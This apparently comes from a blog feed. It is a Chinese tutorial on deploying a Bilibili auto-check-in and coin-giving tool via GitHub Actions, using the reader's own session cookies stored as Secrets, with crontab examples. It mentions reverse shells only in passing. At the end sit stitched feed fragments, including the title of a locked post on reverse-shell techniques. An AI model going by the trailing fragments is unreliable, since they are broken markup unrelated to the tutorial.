  • 每日哔哩哔哩直播自动签到，领取签到奖励。【直播你可以不看，但是奖励咱们一定要领】
  • 通过server酱推送执行结果到微信。
  • 投币策略更新可配置投币喜好。【可配置优先给关注的up投币】

开始部署

部署过程中还做了一点点贡献 2333

image-20201128224359715

Fork 仓库

首先要把仓库 Fork 下来进一步配置

image-20201128225942107

添加 Secrets

首先登录 B 站：https://www.bilibili.com/

F12 Chrome 会弹出开发者工具 获取三个 Cookie 中的值：

  • SESSDATA
  • BILI_JCT
  • DEDEUSERID

image-20201128174104442

添加到下图位置：

image-20201128230531578

配置自定义功能

配置文件位于 src/main/resources/config.json

参数示例

KeyValue说明
numberOfCoins[0,5]每日投币数量，默认 5
selectLike[0,1]投币时是否点赞，默认 0 0：否 1：是
monthEndAutoCharge[false,true]年度大会员月底是否用 B币券 给自己充电，默认 true
devicePlatform[ios,android]手机端漫画签到时的平台，建议选择你设备的平台 ，默认 ios
coinAddPriority[0,1]0：优先给热榜视频投币，1：优先给关注的up投币
userAgent浏览器UA用户可根据部署平台配置，可根据userAgent参数列表自由选取，如果触发了HTTP/1.1 412 Precondition Failed也请修改UA

如果尝试给关注的 up 投币十次后（保不准关注的是年更up主），还没完成每日投币任务，则会切换成热榜模式，给热榜视频投币。

投币数量代码做了处理，如果本日投币不能获得经验了，则不会投币，每天只投能获得经验的硬币。

假设你设置每日投币 3 个，早上 7 点你自己投了 2 个硬币，则十点半时，程序只会投 1 个。

image-20201128232050472

专属管家 Server Chan

在上面配置 Secrets 的地方新建变量 SERVERPUSHKEY

Github 一键登录 ServerChan 复制自己的专属 Key

image-20201128233900007

开启 Actions 设置每日自动执行

Fork 仓库后，GitHub 默认不自动执行 Actions 任务

修改 .github/trigger.json 文件,将 trigger 的值改为 1，这样每天就会自动执行定时任务了。

image-20201128234920534

修改每日任务执行的时间 位置在.github/workflows/auto_task_bilili.yml 第 11 行

image-20201129000316255

30 14 * * * 表示每天晚上22点30执行

crontab 表达式，Actions 时区是 UTC 时间，所以晚上10点要往前推8个小时。

crontab 定时任务

腾讯云函数、Github Action 甚至是反弹 Shell 都用得到的神器

编辑定时任务 填写的内容如下：

1
2
# 分 时 日 月 星期
30 9 * * *

表示每天 9:30 自动执行

crontab 实例

实例1：每 1 分钟执行一次

1
* * * * *

实例2：每小时的第 3 和第 15 分钟执行

1
3,15 * * * *

实例3：在上午 8 点到 10 点的第 3 和第 15 分钟执行

1
3,15 8-10 * * *

实例4：每隔两天的上午 8 点到 10 点的第 3 和第 15 分钟执行

1
3,15 8-10 */2  *  *

实例5：每周六、周日的 8 : 10 执行

1
10 8 * * 6,0

实例6：每天 18 : 00 至 23 : 00 之间每隔 30 分钟执行一次

1
0,30 18-23 * * *

Github Action 执行工作流

Github Actions 默认处于关闭状态，手动开启 Actions ，执行一次工作流，验证是否可以正常工作。

image-20201128234700804

可以看到工作日志：

image-20201128235647419

展开 Build With Maven 通过 DEBUG 标签快速过滤日志，查看运行状态

最终效果

每天坐等65经验 从此快人一步 🚀

image-20201129002157889

“按照当前进度，升级到升级到Lv6还需要: 268天’’

好漫长嗷 睡觉了 晚安 ~

image-20201129002647974

]]> <h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p><strong>不知不觉已经是在B 站的第1003天了：</strong></p> <p><img src= "/img/loading.g 记一次测试后各种方式反弹 Shell 总结 https://www.lintstar.top/2020/11/f4e7c088.html 2020-11-27T11:16:58.000Z 2023-11-09T07:40:38.119Z
]]> Here's something encrypted, password is required to continue reading.